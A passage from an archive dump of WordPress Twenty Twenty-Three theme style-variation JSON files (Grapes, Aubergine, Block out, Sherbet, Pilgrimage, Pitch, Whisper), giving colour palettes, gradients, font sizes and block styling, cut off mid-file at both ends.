{ "radius": "100px 0 0 0" }, "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/navigation": { "typography": { "textTransform": "lowercase" } }, "core/post-content": { "elements": { "link": { "typography": { "textDecoration": "underline" }, ":hover": { "typography": { "textDecoration": "none" } } } } }, "core/post-excerpt": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-featured-image": { "border": { "radius": "100px 0 0 0" }, "spacing": { "margin": { "bottom": "0px", "left": "0px", "right": "0px", "top": "0px" }, "padding": { "bottom": "0px", "left": "0px", "right": "0px", "top": "0px" } } }, "core/post-title": { "typography": { "fontWeight": "700" } }, "core/separator": { "border": { "width": "2px" } }, "core/site-title": { "typography": { "fontWeight": "700", "textTransform": "lowercase", "fontSize": "var(--wp--preset--font-size--small)" } } }, "elements": { "button": { ":hover": { "color": { "background": "var(--wp--preset--color--base)", "text": "var(--wp--preset--color--contrast)" }, "border": { "color": "var(--wp--preset--color--contrast)", "style": "solid", "width": "2px" } }, ":focus": { "color": { "background": "var(--wp--preset--color--base)", "text": "var(--wp--preset--color--contrast)" }, "border": { "color": "var(--wp--preset--color--contrast)", "style": "solid", "width": "2px" } }, ":visited": { "color": { "text": "var(--wp--preset--color--base)" } }, "border": { "radius": "5px", "color": "var(--wp--preset--color--contrast)", "style": "solid", "width": "2px" }, "color": { "text": "var(--wp--preset--color--base)" }, "spacing": { "padding": { "bottom": "0.667em", "left": "1.333em", "right": "1.333em", "top": "0.667em" } } }, "h1": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "h2": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "h3": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "h4": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "heading": { "typography": { "fontWeight": "700" } }, "link": { "typography": { "textDecoration": "none" } } }, "typography": { "fontFamily": "var(--wp--preset--font-family--ibm-plex-mono)", "fontSize": "var(--wp--preset--font-size--small)" } } } themes/twentytwentythree/styles/grapes.json000064400000003330152335264760015401 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Grapes", "settings": { "color": { "palette": [ { "color": "#E1E1C7", "name": "Base", "slug": "base" }, { "color": "#000000", "name": "Contrast", "slug": "contrast" }, { "color": "#214F31", "name": "Primary", "slug": "primary" }, { "color": "#000000", "name": "Secondary", "slug": "secondary" }, { "color": "#F0EBD2", "name": "Tertiary", "slug": "tertiary" } ] } }, "styles": { "blocks": { "core/post-comments": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline dashed" } } } } }, "core/post-date": { "typography": { "fontFamily": "var(--wp--preset--font-family--source-serif-pro)", "fontStyle": "italic" } }, "core/post-terms": { "typography": { "fontFamily": "var(--wp--preset--font-family--source-serif-pro)", "fontStyle": "italic" } }, "core/site-title": { "typography": { "textTransform": "lowercase" } } }, "elements": { "button": { "border": { "radius": "9999px" }, "color": { "background": "var(--wp--preset--color--primary)", "text": "var(--wp--preset--color--base)" }, ":visited": { "color": { "text": "var(--wp--preset--color--base)" } } }, "heading": { "typography": { "fontFamily": "var(--wp--preset--font-family--source-serif-pro)", "fontWeight": "600" } }, "link": { ":hover": { "typography": { "textDecoration": "underline dashed" } } } } } } themes/twentytwentythree/styles/aubergine.json000064400000013635152335264760016072 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Aubergine", "settings": { "color": { "gradients": [ { "gradient": "linear-gradient(180deg, var(--wp--preset--color--secondary) 0%,var(--wp--preset--color--base) 100%)", "name": "Secondary to Base", "slug": "secondary-base" }, { "gradient": "linear-gradient(180deg, var(--wp--preset--color--base) 0 clamp(10vh, 24rem, 14vh), var(--wp--preset--color--secondary) 0% 30%, var(--wp--preset--color--base) 100%)", "name": "Base to Secondary to Base", "slug": "base-secondary-base" }, { "gradient": "linear-gradient(90deg, var(--wp--preset--color--tertiary) 5.74%, var(--wp--preset--color--primary) 100%)", "name": "Tertiary to Primary", "slug": "tertiary-primary" }, { "gradient": "linear-gradient(90deg, var(--wp--preset--color--primary) 5.74%, var(--wp--preset--color--tertiary) 100%)", "name": "Primary to Tertiary", "slug": "primary-tertiary" } ], "palette": [ { "color": "#1B1031", "name": "Base", "slug": "base" }, { "color": "#FFFFFF", "name": "Contrast", "slug": "contrast" }, { "color": "#FF746D", "name": "Primary", "slug": "primary" }, { "color": "#551C5E", "name": "Secondary", "slug": "secondary" }, { "color": "#FB326B", "name": "Tertiary", "slug": "tertiary" } ] }, "typography": { "fontSizes": [ { "fluid": { "min": "0.875rem", "max": "1rem" }, "size": "1rem", "slug": "small" }, { "fluid": { "min": "1rem", "max": "1.125rem" }, "size": "1.125rem", "slug": "medium" }, { "size": "1.75rem", "slug": "large", "fluid": false }, { "size": "3.25rem", "slug": "x-large", "fluid": false }, { "size": "10rem", "slug": "xx-large", "fluid": { "min": "10rem", "max": "16.3rem" } } ] } }, "styles": { "blocks": { "core/comment-reply-link": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "fontStyle": "italic" } } } }, "core/group": { "border": { "color": "var(--wp--preset--color--primary)" } }, "core/navigation": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)" } }, "core/post-author": { "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "fontStyle": "italic" } }, "core/post-content": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "core/post-date": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" }, "typography": { "letterSpacing": "0.09rem", "textTransform": "uppercase" } } } }, "core/post-terms": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "fontStyle": "italic" } } } }, "core/post-title": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--contrast)" } } } }, "typography": { "fontSize": "clamp(2.625rem, calc(2.625rem + ((1vw - 0.48rem) * 8.4135)), 3.25rem)" } }, "core/query": { "elements": { "h3": { "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "fontSize": "var(--wp--preset--font-size--large)", "fontWeight": "700" } }, "link": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "core/separator": { "color": { "text": "var(--wp--preset--color--primary)" } }, "core/site-title": { "border": { "color": "var(--wp--preset--color--primary)", "style": "solid", "width": "0 0 2px 0" }, "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } }, ":focus": { "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "textDecoration": "none" } }, ":hover": { "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "textDecoration": "none" } } } }, "typography": { "letterSpacing": "0.09rem", "textTransform": "uppercase" } } }, "color": { "gradient": "var(--wp--preset--gradient--base-secondary-base) no-repeat" }, "elements": { "button": { "border": { "radius": "99999px" }, "color": { "gradient": "var(--wp--preset--gradient--tertiary-primary)", "text": "var(--wp--preset--color--base)" }, ":hover": { "color": { "background": "var(--wp--preset--color--primary)", "gradient": "none", "text": "var(--wp--preset--color--secondary)" } }, ":focus": { "color": { "background": "var(--wp--preset--color--primary)", "gradient": "none", "text": "var(--wp--preset--color--secondary)" } }, ":active": { "color": { "background": "var(--wp--preset--color--primary)", "gradient": "none", "text": "var(--wp--preset--color--secondary)" } }, ":visited": { "color": { "text": "var(--wp--preset--color--base)" } } }, "heading": { "typography": { "letterSpacing": "-0.019rem" } }, "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "typography": { "fontFamily": "var(--wp--preset--font-family--dm-sans)" } } } themes/twentytwentythree/styles/block-out.json000064400000010420152335264760016015 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Block out", "settings": { "color": { "duotone": [ { "colors": [ "#E2161D", "#FF9C9C" ], "slug": "default-filter", "name": "Default filter" } ], "palette": [ { "color": "#ff5252", "name": "Base", "slug": "base" }, { "color": "#252525", "name": "Contrast", "slug": "contrast" }, { "color": "#ffffff", "name": "Primary", "slug": "primary" }, { "color": "#ff2d34", "name": "Secondary", "slug": "secondary" }, { "color": "#ff7e7e", "name": "Tertiary", "slug": "tertiary" } ] }, "layout": { "contentSize": "800px" }, "typography": { "fontSizes": [ { "fluid": { "max": "1rem", "min": "0.875rem" }, "size": "1rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "size": "1.125rem", "slug": "medium" }, { "fluid": false, "size": "1.75rem", "slug": "large" }, { "fluid": false, "size": "2.25rem", "slug": "x-large" }, { "fluid": { "max": "7rem", "min": "4.3rem" }, "size": "7rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/avatar": { "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/image": { "border": { "radius": "8px" }, "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/navigation": { "typography": { "fontSize": "var(--wp--preset--font-size--large)" } }, "core/post-content": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" } }, "h1": { "color": { "text": "var(--wp--preset--color--contrast)" } } } }, "core/post-featured-image": { "border": { "radius": "8px" }, "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/post-title": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "color": { "text": "var(--wp--preset--color--primary)" } }, "core/quote": { "border": { "width": "1px" } }, "core/search": { "border": { "radius": "8px" } }, "core/site-logo": { "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/site-title": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "spacing": { "padding": { "bottom": "var(--wp--preset--spacing--30)", "top": "var(--wp--preset--spacing--30)" } }, "typography": { "fontSize": "var(--wp--preset--font-size--xx-large)", "lineHeight": "1.1", "textTransform": "lowercase" } }, "core/query": { "elements": { "h2": { "typography": { "fontSize": "var(--wp--preset--font-size--large)" } } } } }, "elements": { "button": { "border": { "radius": "8px" }, "typography": { "fontFamily": "var(--wp--preset--font-family--ibm-plex-mono)", "fontStyle": "italic", "fontWeight": "400" }, ":active": { "color": { "text": "var(--wp--preset--color--contrast)" } } }, "h1": { "color": { "text": "var(--wp--preset--color--primary)" } }, "h6": { "typography": { "fontWeight": "400" } }, "heading": { "typography": { "fontFamily": "var(--wp--preset--font-family--ibm-plex-mono)", "fontStyle": "italic" } }, "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--ibm-plex-mono)", "fontStyle": "italic", "fontWeight": "400" } } }, "spacing": { "padding": { "bottom": "0px", "top": "0px" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--dm-sans)" } } } themes/twentytwentythree/styles/sherbet.json000064400000012246152335264760015562 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Sherbet", "settings": { "color": { "duotone": [ { "colors": [ "#FF99FF", "#FFFF99", "#99FFFF" ], "name": "Default filter", "slug": "default-filter" } ], "gradients": [ { "gradient": "linear-gradient(135deg, var(--wp--preset--color--primary) 0%, var(--wp--preset--color--secondary) 50%, var(--wp--preset--color--tertiary) 100%)", "name": "Primary to Secondary to Tertiary", "slug": "primary-secondary-tertiary" }, { "gradient": "linear-gradient(135deg, var(--wp--preset--color--primary) 0%, var(--wp--preset--color--secondary) 50%, var(--wp--preset--color--tertiary) 100%) fixed", "name": "Primary to Secondary to Tertiary Fixed", "slug": "primary-secondary-tertiary-fixed" }, { "gradient": "linear-gradient(135deg, var(--wp--preset--color--tertiary) 0%, var(--wp--preset--color--secondary) 50%, var(--wp--preset--color--primary) 100%) fixed", "name": "Tertiary to Secondary to Primary Fixed", "slug": "tertiary-secondary-primary-fixed" } ], "palette": [ { "color": "#FFFFFF", "name": "Base", "slug": "base" }, { "color": "#000000", "name": "Contrast", "slug": "contrast" }, { "color": "#FFCCFF", "name": "Primary", "slug": "primary" }, { "color": "#FFFFCC", "name": "Secondary", "slug": "secondary" }, { "color": "#CCFFFF", "name": "Tertiary", "slug": "tertiary" } ] }, "typography": { "fontSizes": [ { "fluid": false, "size": "0.75rem", "slug": "x-small" }, { "fluid": { "min": "0.875rem", "max": "1rem" }, "size": "1rem", "slug": "small" }, { "fluid": { "min": "1rem", "max": "1.125rem" }, "size": "1.125rem", "slug": "medium" }, { "fluid": { "min": "1.5rem", "max": "1.75rem" }, "size": "1.75rem", "slug": "large" }, { "fluid": { "min": "2rem", "max": "2.25rem" }, "size": "2.25rem", "slug": "x-large" }, { "fluid": { "min": "2.5rem", "max": "2.75rem" }, "size": "2.75rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/comments": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--contrast)" } } } } }, "core/comment-author-name": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "textTransform": "initial" } }, "core/comment-content": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "textTransform": "initial" } }, "core/navigation": { "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontWeight": "500", "textTransform": "uppercase" } }, "core/post-content": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--contrast)" }, ":active": { "color": { "text": "var(--wp--preset--color--contrast)" } } } } }, "core/post-date": { "typography": { "textTransform": "uppercase" } }, "core/post-featured-image": { "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" }, "border": { "color": "var(--wp--preset--color--tertiary)", "style": "solid" } }, "core/post-title": { "typography": { "fontWeight": "500", "textTransform": "uppercase" } }, "core/site-title": { "typography": { "fontWeight": "500" } }, "core/template-part": { "typography": { "fontSize": "var(--wp--preset--font-size--x-small)", "fontWeight": "400", "textTransform": "uppercase" } } }, "color": { "gradient": "var(--wp--preset--gradient--primary-secondary-tertiary)" }, "elements": { "button": { "border": { "color": "var(--wp--preset--color--contrast)", "radius": "99999px", "style": "solid", "width": "2px" }, "color": { "background": "var(--wp--preset--color--base)", "gradient": "var(--wp--preset--gradient--primary-secondary-tertiary-fixed)", "text": "var(--wp--preset--color--contrast)" }, "typography": { "fontSize": "var(--wp--preset--font-size--x-small)", "fontWeight": "400", "textTransform": "uppercase" }, ":hover": { "color": { "gradient": "var(--wp--preset--gradient--tertiary-secondary-primary-fixed)", "text": "var(--wp--preset--color--contrast)" } }, ":focus": { "color": { "background": "var(--wp--preset--color--contrast)", "gradient": "none" } }, ":active": { "color": { "background": "var(--wp--preset--color--contrast)", "gradient": "none" } } }, "heading": { "typography": { "fontWeight": "500" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontFamily": "var(--wp--preset--font-family--inter)" } } } themes/twentytwentythree/styles/pilgrimage.json000064400000014602152335264760016244 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Pilgrimage", "settings": { "color": { "duotone": [ { "colors": [ "#222828", "#9EF9FD" ], "slug": "default-filter", "name": "Default filter" } ], "gradients": [ { "gradient": "linear-gradient(180deg, var(--wp--preset--color--primary) 0%,var(--wp--preset--color--secondary) 100%)", "name": "Primary to Secondary", "slug": "primary-secondary" }, { "gradient": "linear-gradient(180deg, var(--wp--preset--color--secondary) 0%,var(--wp--preset--color--primary) 100%)", "name": "Secondary to Primary", "slug": "secondary-primary" }, { "gradient": "linear-gradient(180deg, var(--wp--preset--color--primary) 0%,var(--wp--preset--color--tertiary) 100%)", "name": "Tertiary to Secondary", "slug": "tertiary-secondary" }, { "gradient": "linear-gradient(180deg, var(--wp--preset--color--tertiary) 0%,var(--wp--preset--color--primary) 100%)", "name": "Tertiary to Primary", "slug": "tertiary-primary" }, { "gradient": "linear-gradient(180deg, var(--wp--preset--color--base) 0%,var(--wp--preset--color--primary) 350%)", "name": "Base to Primary", "slug": "base-primary" }, { "gradient": "radial-gradient(circle at 5px 5px,#0c0d0d70 2px,#ffffff00 0px,#ffffff00 0px) 0 0 / 8px 8px, linear-gradient(180deg, var(--wp--preset--color--base) 0%,#000000 200%)", "name": "Dots", "slug": "dots" } ], "palette": [ { "color": "#222828", "name": "Base", "slug": "base" }, { "color": "#ffffff", "name": "Contrast", "slug": "contrast" }, { "color": "#53ED85", "name": "Primary", "slug": "primary" }, { "color": "#9EF9FD", "name": "Secondary", "slug": "secondary" }, { "color": "#D8E202", "name": "Tertiary", "slug": "tertiary" } ] } }, "styles": { "blocks": { "core/comment-author-name": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--tertiary)" } } } } }, "core/comment-date": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--tertiary)" }, "typography": { "textDecoration": "underline" } } } } }, "core/comment-edit-link": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--tertiary)" } } } } }, "core/comments-pagination": { "elements": { "link": { "typography": { "textDecoration": "underline" } } } }, "core/image": { "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/navigation": { "elements": { "link": { ":active": { "typography": { "textDecoration": "underline dashed" } }, "color": { "text": "var(--wp--preset--color--primary)" }, "typography": { "textDecoration": "underline" } } } }, "core/paragraph": { "color": { "text": "var(--wp--preset--color--contrast)" }, "elements": { "link": { ":hover": { "color": { "text": "var(--wp--preset--color--tertiary)" } } } } }, "core/post-content": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "core/post-date": { "elements": { "link": { "typography": { "textDecoration": "none", "fontStyle": "italic" } } } }, "core/post-featured-image": { "filter": { "duotone": "var(--wp--preset--duotone--default-filter)" } }, "core/post-title": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--tertiary)" }, "typography": { "textDecoration": "underline" } }, "typography": { "textDecoration": "underline" } } } }, "core/query-pagination": { "elements": { "link": { "typography": { "textDecoration": "underline" } } } }, "core/separator": { "color": { "text": "var(--wp--preset--color--secondary)" } }, "core/site-title": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "typography": { "fontStyle": "italic", "fontWeight": "700" } } }, "color": { "gradient": "var(--wp--preset--gradient--dots)" }, "elements": { "button": { ":active": { "color": { "background": "var(--wp--preset--color--secondary)", "gradient": "none" } }, ":focus": { "color": { "gradient": "var(--wp--preset--gradient--secondary-primary)" } }, ":hover": { "color": { "gradient": "var(--wp--preset--gradient--secondary-primary)" } }, ":visited": { "color": { "text": "var(--wp--preset--color--base)" } }, "border": { "radius": "5px" }, "color": { "gradient": "var(--wp--preset--gradient--primary-secondary)", "text": "var(--wp--preset--color--base)" } }, "h1": { "color": { "text": "var(--wp--preset--color--contrast)" } }, "h2": { "color": { "text": "var(--wp--preset--color--contrast)" } }, "h3": { "color": { "text": "var(--wp--preset--color--primary)" } }, "h4": { "color": { "text": "var(--wp--preset--color--primary)" } }, "h5": { "color": { "text": "var(--wp--preset--color--primary)" } }, "h6": { "color": { "text": "var(--wp--preset--color--primary)" } }, "heading": { "color": { "text": "var(--wp--preset--color--primary)" } }, "link": { "color": { "text": "var(--wp--preset--color--primary)" }, ":hover": { "color": { "text":"var(--wp--preset--color--tertiary)" } }, ":focus": { "color": { "text":"var(--wp--preset--color--tertiary)" } }, ":active": { "color": { "text": "var(--wp--preset--color--tertiary)" } } } } } } themes/twentytwentythree/styles/pitch.json000064400000011224152335264760015230 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Pitch", "settings": { "color": { "palette": [ { "color": "#202124", "name": "Base", "slug": "base" }, { "color": "#e8eaed", "name": "Contrast", "slug": "contrast" }, { "color": "#e3cbc0", "name": "Primary", "slug": "primary" }, { "color": "#876C3A", "name": "Secondary", "slug": "secondary" }, { "color": "#303134", "name": "Tertiary", "slug": "tertiary" } ] }, "layout": { "contentSize": "min(640px, 90vw)", "wideSize": "90vw" }, "spacing": { "spacingScale": { "steps": 7 }, "spacingSizes": [ { "size": "calc(8px + 1.5625vw)", "slug": "20", "name": "1" }, { "size": "calc(12px + 1.5625vw)", "slug": "30", "name": "2" }, { "size": "calc(16px + 1.5625vw)", "slug": "40", "name": "3" }, { "size": "calc(20px + 1.5625vw)", "slug": "50", "name": "4" }, { "size": "calc(24px + 1.5625vw)", "slug": "60", "name": "5" }, { "size": "calc(28px + 1.5625vw)", "slug": "70", "name": "6" }, { "size": "calc(32px + 1.5625vw)", "slug": "80", "name": "7" } ] }, "typography": { "fontSizes": [ { "size": "0.85rem", "fluid": { "min": "0.85rem", "max": "1rem" }, "slug": "small", "name": "small" }, { "size": "1.1rem", "fluid": { "min": "1.1rem", "max": "1.4rem" }, "slug": "medium", "name": "Medium" }, { "size": "1.999rem", "fluid": { "min": "1.999rem", "max": "2.827rem" }, "slug": "large", "name": "Large" }, { "size": "2.827rem", "fluid": { "min": "2.827rem", "max": "3.998rem" }, "slug": "x-large", "name": "Extra Large" }, { "size": "3.2rem", "fluid": { "min": "3.2rem", "max": "5.2rem" }, "slug": "xx-large", "name": "2X Large" } ] } }, "styles": { "blocks": { "core/separator": { "border": { "color":"var(--wp--preset--color--tertiary)", "width": "2px" } }, "core/site-title": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "fontStyle": "normal", "fontWeight": "600" } } }, "elements": { "button": { "border": { "radius": "0", "style": "solid", "width": "2px", "color": "var(--wp--preset--color--primary)" }, "color": { "background": "var(--wp--preset--color--primary)", "text": "var(--wp--preset--color--base)" }, "spacing": { "padding": { "top": "min(1.125rem, 3vw) !important", "right": "min(2.125rem, 5vw) !important", "bottom": "min(1.125rem, 3vw) !important", "left": "min(2.125rem, 5vw) !important" } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontWeight": "600", "textTransform": "uppercase", "letterSpacing": "0.01em" }, ":hover": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--tertiary)" } }, ":focus": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--tertiary)" } }, ":active": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--tertiary)" } }, ":visited": { "color": { "text": "var(--wp--preset--color--base)" } } }, "h1": { "typography": { "fontSize": "var(--wp--preset--font-size--xx-large)", "lineHeight": "1.1" } }, "h2": { "typography": { "fontSize": "var(--wp--preset--font-size--x-large)", "lineHeight": "1.1" } }, "h3": { "typography": { "fontSize": "var(--wp--preset--font-size--large)" } }, "heading": { "typography": { "fontWeight": "500" } } }, "spacing": { "blockGap": "var(--wp--preset--spacing--40)", "padding": { "right": "var(--wp--preset--spacing--70)", "left": "var(--wp--preset--spacing--70)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--inter)", "fontSize": "var(--wp--preset--font-size--medium)", "lineHeight": "1.7" } } } themes/twentytwentythree/styles/whisper.json000064400000027121152335264760015605 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Whisper", "settings": { "color": { "palette": [ { "color": "#E5E7F2", "name": "Base", "slug": "base" }, { "color": "#47484B", "name": "Contrast", "slug": "contrast" }, { "color": "#B50B3E", "name": "Primary", "slug": "primary" }, { "color": "#0B0033", "name": "Secondary", "slug": "secondary" }, { "color": "#F9F9FB", "name": "Tertiary", "slug": "tertiary" } ] }, "layout": { "contentSize": "710px", "wideSize": "1200px" }, "typography": { "fontSizes": [ { "fluid": { "min": "0.875rem", "max": "1rem" }, "size": "1rem", "slug": "small" }, { "fluid": { "min": "1rem", "max": "1.187rem" }, "size": "1.187rem", "slug": "medium" }, { "fluid": { "min": "1.187rem", "max": "1.3125rem" }, "size": "1.3125rem", "slug": "large" }, { "fluid": { "min": "1.562rem", "max": "2rem" }, "size": "2rem", "slug": "x-large" }, { "fluid": { "min": "3.5rem", "max": "5.7rem" }, "size": "5.7rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/image": { "elements": { "link": { "border": { "width": "0" }, ":hover": { "color": { "background": "transparent" } } } } }, "core/navigation": { "color": { "text": "var(--wp--preset--color--contrast)" }, "elements": { "link": { "border": { "bottom": { "color": "transparent", "style": "solid", "width": "0.2ch" } }, "color": { "text": "var(--wp--preset--color--contrast)" }, ":hover": { "border": { "color": "var(--wp--preset--color--primary)" }, "color": { "background": "transparent", "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, ":focus": { "typography": { "textDecoration": "none" } }, ":active": { "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--large)" } }, "core/navigation-submenu": { "color": { "text": "var(--wp--preset--color--primary)" } }, "core/post-content": { "elements": { "link": { ":hover": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--tertiary)" }, "typography": { "textDecoration": "none" } } } } }, "core/post-date": { "elements": { "link": { ":hover": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--tertiary)" }, "typography": { "textDecoration": "none" } } } } }, "core/post-featured-image": { "elements": { "link": { "border": { "width": "0" }, ":hover": { "color": { "background": "transparent" } } } } }, "core/post-title": { "elements": { "link": { "border": { "width": "0 !important" }, ":hover": { "color": { "text": "var(--wp--preset--color--primary)" } }, ":focus": { "color": { "text": "var(--wp--preset--color--primary)" } }, ":active": { "color": { "text": "var(--wp--preset--color--primary)" } } } } }, "core/pullquote": { "border": { "color": "var(--wp--preset--color--contrast)", "style": "double", "width": "6px" }, "color": { "text": "var(--wp--preset--color--secondary)" } }, "core/quote": { "border": { "color": "var(--wp--preset--color--contrast)", "style": "double", "width": "0 0 0 6px" }, "color": { "text": "var(--wp--preset--color--secondary)" }, "spacing": { "margin": { "left": "var(--wp--preset--spacing--30)" }, "padding": { "left": "var(--wp--preset--spacing--30)" } } }, "core/query-pagination": { "elements": { "link": { ":hover": { "border": { "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--tertiary)" }, "typography": { "textDecoration": "none" } }, ":active": { "border": { "color": "var(--wp--preset--color--base)", "width": "0 0 2px 0" } } } } }, "core/separator": { "border": { "color": "var(--wp--preset--color--contrast)", "style": "double", "width": "6px 0 0 0" } }, "core/site-logo": { "elements": { "link": { "border": { "width": "0" } } } }, "core/site-title": { "elements": { "link": { "border": { "color": "transparent" }, "color": { "text": "var(--wp--preset--color--primary)" }, ":hover": { "border": { "color": "var(--wp--preset--color--primary)" }, "color": { "background": "transparent" }, "typography": { "textDecoration": "none" } }, ":focus": { "typography": { "textDecoration": "none" } }, ":active": { "border": { "color": "var(--wp--preset--color--primary)" }, "color": { "background": "transparent" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontFamily": "var(--wp--preset--font-family--dm-sans)", "fontSize": "var(--wp--preset--font-size--large)", "fontWeight": "700", "letterSpacing": "-0.01em", "lineHeight": "1.4", "textTransform": "capitalize" } }, "core/comment-author-name":{ "elements": { "link": { ":hover": { "typography": { "textDecoration": "none" } }, ":focus": { "typography": { "textDecoration": "none" } } } } }, "core/comment-date": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "none" } }, ":focus": { "typography": { "textDecoration": "none" } } } } }, "core/comment-edit-link": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "none" } }, ":focus": { "typography": { "textDecoration": "none" } } } } } }, "elements": { "button": { "border": { "color": "var(--wp--preset--color--primary)", "radius": "10px", "style": "solid", "width": "2px 2px 6px 2px !important" }, "color": { "background": "transparent", "text": "var(--wp--preset--color--primary)" }, "spacing": { "padding": { "top": "min(1rem, 3vw) !important", "right": "min(2.75rem, 6vw) !important", "bottom": "min(1rem, 3vw) !important", "left": "min(2.75rem, 6vw) !important" } }, "typography": { "fontWeight": "700", "letterSpacing": "1px", "textTransform": "uppercase" }, ":hover": { "border": { "color": "var(--wp--preset--color--secondary)", "width": "2px 2px 4px 2px !important" }, "color": { "background": "var(--wp--preset--color--tertiary)", "text": "var(--wp--preset--color--secondary)" }, "spacing": { "padding": { "bottom": "min(calc(1rem + 2px), 3vw) !important" } } }, ":focus": { "border": { "color": "var(--wp--preset--color--secondary)", "style": "dashed dashed double", "width": "2px 2px 4px 2px !important" }, "color": { "background": "var(--wp--preset--color--tertiary)", "text": "var(--wp--preset--color--secondary)" }, "spacing": { "padding": { "bottom": "min(calc(1rem + 2px), 3vw) !important" } } }, ":active": { "border": { "color": "var(--wp--preset--color--secondary)", "width": "2px 2px 4px 2px !important" }, "color": { "background": "var(--wp--preset--color--tertiary)", "text": "var(--wp--preset--color--secondary)" }, "spacing": { "padding": { "bottom": "min(calc(1rem + 2px), 3vw) !important" } } }, ":visited": { "color": { "text": "var(--wp--preset--color--primary)" } } }, "cite": { "typography": { "fontFamily": "var(--wp--preset--font-family--source-serif-pro)" } }, "h1": { "typography": { "fontSize": "clamp(4.21rem, 1.43vw + 3.85rem, 5rem)", "fontWeight": "300", "letterSpacing": "-0.01em" } }, "h2": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "fontSize": "clamp(3.16rem, 1.08vw + 2.89rem, 3.75rem)", "fontWeight": "400", "letterSpacing": "-0.01em" } }, "h3": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "fontSize": "clamp(2.37rem, 0.81vw + 2.17rem, 2.81rem)", "fontWeight": "500" } }, "h4": { "typography": { "fontSize": "clamp(1.78rem, 0.61vw + 1.63rem, 2.11rem)", "fontWeight": "600" } }, "h5": { "typography": { "fontSize": "clamp(1.33rem, 0.45vw + 1.22rem, 1.58rem)", "fontWeight": "700", "letterSpacing": "1px" } }, "h6": { "typography": { "fontSize": "clamp(1rem, 0.34vw + 0.91rem, 1.19rem)", "fontWeight": "900", "letterSpacing": "2px" } }, "heading": { "color": { 